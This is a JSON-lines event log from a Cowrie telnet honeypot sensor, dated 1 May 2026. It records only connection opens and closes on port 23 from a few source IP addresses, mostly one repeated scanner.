{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36944,"dst_ip":"10.17.0.5","dst_port":23,"session":"beb211441eb7","protocol":"telnet","message":"New connection: 161.97.181.240:36944 (10.17.0.5:23) [session: beb211441eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:29.238122Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":37324,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c949412180","protocol":"telnet","message":"New connection: 161.97.181.240:37324 (10.17.0.5:23) [session: 30c949412180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:29.342126Z"}
{"eventid":"cowrie.session.closed","duration":3.712171792984009,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:31.310378Z","src_ip":"37.19.199.224","session":"499d4b2bec2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":44888,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f2b29ed4d0f","protocol":"telnet","message":"New connection: 161.97.181.240:44888 (10.17.0.5:23) [session: 8f2b29ed4d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:31.507954Z"}
{"eventid":"cowrie.session.closed","duration":30.82742667198181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:33.666007Z","src_ip":"161.97.181.240","session":"4362dee1904e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":51520,"dst_ip":"10.17.0.5","dst_port":23,"session":"c123a208873c","protocol":"telnet","message":"New connection: 161.97.181.240:51520 (10.17.0.5:23) [session: c123a208873c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:34.605232Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":55746,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7f0464b8afc","protocol":"telnet","message":"New connection: 161.97.181.240:55746 (10.17.0.5:23) [session: c7f0464b8afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:34.908074Z"}
{"eventid":"cowrie.session.closed","duration":30.319079160690308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:36.063543Z","src_ip":"161.97.181.240","session":"79e5e3c0a6a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":51662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5be37195185","protocol":"telnet","message":"New connection: 45.63.42.31:51662 (10.17.0.5:23) [session: d5be37195185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:36.179878Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":33700,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaf49f534d65","protocol":"telnet","message":"New connection: 161.97.181.240:33700 (10.17.0.5:23) [session: eaf49f534d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:36.614634Z"}
{"eventid":"cowrie.session.closed","duration":31.362770080566406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:37.237309Z","src_ip":"161.97.181.240","session":"07c1d45a2f8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":37018,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2e564b7d4ff","protocol":"telnet","message":"New connection: 161.97.181.240:37018 (10.17.0.5:23) [session: c2e564b7d4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:37.733827Z"}
{"eventid":"cowrie.session.closed","duration":30.694032430648804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:38.068767Z","src_ip":"45.14.224.154","session":"d20006dbf3dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38782,"dst_ip":"10.17.0.5","dst_port":23,"session":"31c256eea763","protocol":"telnet","message":"New connection: 161.97.181.240:38782 (10.17.0.5:23) [session: 31c256eea763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:38.337886Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":33886,"dst_ip":"159.203.135.109","dst_port":23,"session":"f875ea2e9260","protocol":"telnet","message":"New connection: 45.14.224.154:33886 (159.203.135.109:23) [session: f875ea2e9260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:38.347021Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40276,"dst_ip":"10.17.0.5","dst_port":23,"session":"99bd5f2681e0","protocol":"telnet","message":"New connection: 161.97.181.240:40276 (10.17.0.5:23) [session: 99bd5f2681e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:38.788080Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40586,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d44f2aad498","protocol":"telnet","message":"New connection: 161.97.181.240:40586 (10.17.0.5:23) [session: 7d44f2aad498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:38.865839Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59020,"dst_ip":"10.17.0.5","dst_port":23,"session":"16333d6bab98","protocol":"telnet","message":"New connection: 45.63.42.31:59020 (10.17.0.5:23) [session: 16333d6bab98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:38.937562Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42198,"dst_ip":"10.17.0.5","dst_port":23,"session":"08ff7fbb1897","protocol":"telnet","message":"New connection: 161.97.181.240:42198 (10.17.0.5:23) [session: 08ff7fbb1897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:39.339300Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33790,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fc8dc383b61","protocol":"telnet","message":"New connection: 45.63.42.31:33790 (10.17.0.5:23) [session: 5fc8dc383b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:40.402396Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":49774,"dst_ip":"10.17.0.5","dst_port":23,"session":"f087efd51845","protocol":"telnet","message":"New connection: 161.97.181.240:49774 (10.17.0.5:23) [session: f087efd51845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:41.629873Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":49792,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3c61b791d9e","protocol":"telnet","message":"New connection: 161.97.181.240:49792 (10.17.0.5:23) [session: e3c61b791d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:41.643095Z"}
{"eventid":"cowrie.session.closed","duration":31.599340438842773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:41.656930Z","src_ip":"161.97.181.240","session":"8ed651c9b046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":50182,"dst_ip":"10.17.0.5","dst_port":23,"session":"9629ef7fb2b4","protocol":"telnet","message":"New connection: 161.97.181.240:50182 (10.17.0.5:23) [session: 9629ef7fb2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:41.748572Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":50212,"dst_ip":"10.17.0.5","dst_port":23,"session":"00a6dae93565","protocol":"telnet","message":"New connection: 161.97.181.240:50212 (10.17.0.5:23) [session: 00a6dae93565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:41.756834Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":33896,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3f960e3598c","protocol":"telnet","message":"New connection: 45.14.224.154:33896 (159.203.135.109:23) [session: e3f960e3598c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:41.820761Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":50648,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bbafa9ed1b4","protocol":"telnet","message":"New connection: 161.97.181.240:50648 (10.17.0.5:23) [session: 7bbafa9ed1b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:41.910215Z"}
{"eventid":"cowrie.session.closed","duration":31.03649067878723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:42.049722Z","src_ip":"45.14.224.154","session":"1f5b3cec84db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":51606,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb073c1cc372","protocol":"telnet","message":"New connection: 161.97.181.240:51606 (10.17.0.5:23) [session: bb073c1cc372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:42.206304Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":55334,"dst_ip":"10.17.0.5","dst_port":23,"session":"e13f371ed6c5","protocol":"telnet","message":"New connection: 161.97.181.240:55334 (10.17.0.5:23) [session: e13f371ed6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:43.191670Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":39328,"dst_ip":"159.203.135.109","dst_port":23,"session":"b98af9fc3a46","protocol":"telnet","message":"New connection: 45.14.224.154:39328 (159.203.135.109:23) [session: b98af9fc3a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:43.333395Z"}
{"eventid":"cowrie.session.closed","duration":30.1542649269104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:44.025214Z","src_ip":"161.97.181.240","session":"b63366ead504","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47567915916443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:44.049217Z","src_ip":"161.97.181.240","session":"40c426299c09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851845026016235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:44.056769Z","src_ip":"45.14.224.154","session":"6fa46fb79b2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":39332,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c2afc89136c","protocol":"telnet","message":"New connection: 45.14.224.154:39332 (159.203.135.109:23) [session: 6c2afc89136c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:44.711956Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":33990,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ba7758817cc","protocol":"telnet","message":"New connection: 161.97.181.240:33990 (10.17.0.5:23) [session: 4ba7758817cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:45.228919Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":37842,"dst_ip":"10.17.0.5","dst_port":23,"session":"f222bd3516f5","protocol":"telnet","message":"New connection: 161.97.181.240:37842 (10.17.0.5:23) [session: f222bd3516f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:46.275314Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":38312,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bcc98040058","protocol":"telnet","message":"New connection: 161.97.181.240:38312 (10.17.0.5:23) [session: 8bcc98040058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:47.389419Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41884,"dst_ip":"10.17.0.5","dst_port":23,"session":"b44761ea6dae","protocol":"telnet","message":"New connection: 45.63.42.31:41884 (10.17.0.5:23) [session: b44761ea6dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:47.647591Z"}
{"eventid":"cowrie.session.closed","duration":30.38285541534424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:48.046030Z","src_ip":"45.14.224.154","session":"f2407acc951a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.139.57.28","src_port":45954,"dst_ip":"159.203.135.109","dst_port":23,"session":"a05059832745","protocol":"telnet","message":"New connection: 46.139.57.28:45954 (159.203.135.109:23) [session: a05059832745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:48.150112Z"}
{"eventid":"cowrie.session.closed","duration":30.495211839675903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:50.002128Z","src_ip":"161.97.181.240","session":"b7a1e6ae437c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50732183456421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:50.099404Z","src_ip":"161.97.181.240","session":"6caf75e4fcae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.352435827255249,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:51.502430Z","src_ip":"46.139.57.28","session":"a05059832745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":33448,"dst_ip":"10.17.0.5","dst_port":23,"session":"4385ec4ff5b8","protocol":"telnet","message":"New connection: 161.97.181.240:33448 (10.17.0.5:23) [session: 4385ec4ff5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:52.833447Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.139.57.28","src_port":46110,"dst_ip":"159.203.135.109","dst_port":23,"session":"77a3533a6c65","protocol":"telnet","message":"New connection: 46.139.57.28:46110 (159.203.135.109:23) [session: 77a3533a6c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:52.909934Z"}
{"eventid":"cowrie.session.closed","duration":37.62767052650452,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:52.983101Z","src_ip":"103.115.172.252","session":"82cd3c5d19c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":35476,"dst_ip":"10.17.0.5","dst_port":23,"session":"4238eb585419","protocol":"telnet","message":"New connection: 161.97.181.240:35476 (10.17.0.5:23) [session: 4238eb585419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:53.486752Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":35646,"dst_ip":"10.17.0.5","dst_port":23,"session":"590ec587b00b","protocol":"telnet","message":"New connection: 161.97.181.240:35646 (10.17.0.5:23) [session: 590ec587b00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:53.531502Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":49262,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c456e7f67d","protocol":"telnet","message":"New connection: 103.115.172.252:49262 (10.17.0.5:23) [session: 99c456e7f67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:54.179614Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":53648,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ead41771cb0","protocol":"telnet","message":"New connection: 161.97.181.240:53648 (10.17.0.5:23) [session: 3ead41771cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:54.554555Z"}
{"eventid":"cowrie.session.closed","duration":31.78226613998413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:54.920578Z","src_ip":"161.97.181.240","session":"91a712b479ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":40628,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e40563a5519","protocol":"telnet","message":"New connection: 161.97.181.240:40628 (10.17.0.5:23) [session: 0e40563a5519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:54.952674Z"}
{"eventid":"cowrie.session.closed","duration":31.417908430099487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:55.382643Z","src_ip":"161.97.181.240","session":"6aa43237124b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":49190,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b71068e4ef6","protocol":"telnet","message":"New connection: 103.115.172.252:49190 (10.17.0.5:23) [session: 4b71068e4ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:55.937783Z"}
{"eventid":"cowrie.session.closed","duration":30.6131534576416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:56.021354Z","src_ip":"161.97.181.240","session":"342b0e6857bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":45386,"dst_ip":"10.17.0.5","dst_port":23,"session":"9263caff559e","protocol":"telnet","message":"New connection: 161.97.181.240:45386 (10.17.0.5:23) [session: 9263caff559e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:56.303272Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":46384,"dst_ip":"10.17.0.5","dst_port":23,"session":"326be9da71a9","protocol":"telnet","message":"New connection: 161.97.181.240:46384 (10.17.0.5:23) [session: 326be9da71a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:56.616434Z"}
{"eventid":"cowrie.session.closed","duration":30.884137630462646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:57.128620Z","src_ip":"45.14.224.154","session":"ca46f380331b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":50360,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9416c688b22","protocol":"telnet","message":"New connection: 103.115.172.252:50360 (10.17.0.5:23) [session: b9416c688b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:57.229164Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":48994,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fed5da689a0","protocol":"telnet","message":"New connection: 161.97.181.240:48994 (10.17.0.5:23) [session: 5fed5da689a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:57.411200Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":50102,"dst_ip":"10.17.0.5","dst_port":23,"session":"5198010c0e5b","protocol":"telnet","message":"New connection: 161.97.181.240:50102 (10.17.0.5:23) [session: 5198010c0e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:57.703405Z"}
{"eventid":"cowrie.session.closed","duration":31.11406660079956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:58.187516Z","src_ip":"161.97.181.240","session":"bb08e3c22fef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946699380874634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:58.829218Z","src_ip":"161.97.181.240","session":"e34971660a05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994154930114746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:59.003327Z","src_ip":"161.97.181.240","session":"e0bee5d435f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077373027801514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:59.099662Z","src_ip":"161.97.181.240","session":"fa1343031e0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56554,"dst_ip":"10.17.0.5","dst_port":23,"session":"579c4b71ed58","protocol":"telnet","message":"New connection: 161.97.181.240:56554 (10.17.0.5:23) [session: 579c4b71ed58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:55:59.519591Z"}
{"eventid":"cowrie.session.closed","duration":30.666517734527588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:00.008528Z","src_ip":"161.97.181.240","session":"30c949412180","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807077169418335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:00.045122Z","src_ip":"161.97.181.240","session":"beb211441eb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":58418,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1c1ef048cf5","protocol":"telnet","message":"New connection: 161.97.181.240:58418 (10.17.0.5:23) [session: a1c1ef048cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:00.084867Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45080,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec2bb63a8898","protocol":"telnet","message":"New connection: 45.63.42.31:45080 (10.17.0.5:23) [session: ec2bb63a8898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:00.195649Z"}
{"eventid":"cowrie.session.closed","duration":31.051307678222656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:00.282801Z","src_ip":"161.97.181.240","session":"ff0ba02b5b23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":59494,"dst_ip":"10.17.0.5","dst_port":23,"session":"39bb44bf531c","protocol":"telnet","message":"New connection: 161.97.181.240:59494 (10.17.0.5:23) [session: 39bb44bf531c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:00.416838Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":59646,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc4d76e5beb","protocol":"telnet","message":"New connection: 161.97.181.240:59646 (10.17.0.5:23) [session: ccc4d76e5beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:00.459284Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44858,"dst_ip":"10.17.0.5","dst_port":23,"session":"59874c4261d4","protocol":"telnet","message":"New connection: 45.63.42.31:44858 (10.17.0.5:23) [session: 59874c4261d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:01.113626Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":36024,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dfaff7b184c","protocol":"telnet","message":"New connection: 161.97.181.240:36024 (10.17.0.5:23) [session: 2dfaff7b184c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:01.826393Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":37198,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c37ca40ce9","protocol":"telnet","message":"New connection: 161.97.181.240:37198 (10.17.0.5:23) [session: 87c37ca40ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:02.178855Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":56664,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e47b7b2a57c","protocol":"telnet","message":"New connection: 161.97.181.240:56664 (10.17.0.5:23) [session: 5e47b7b2a57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:56:02.548781Z"}
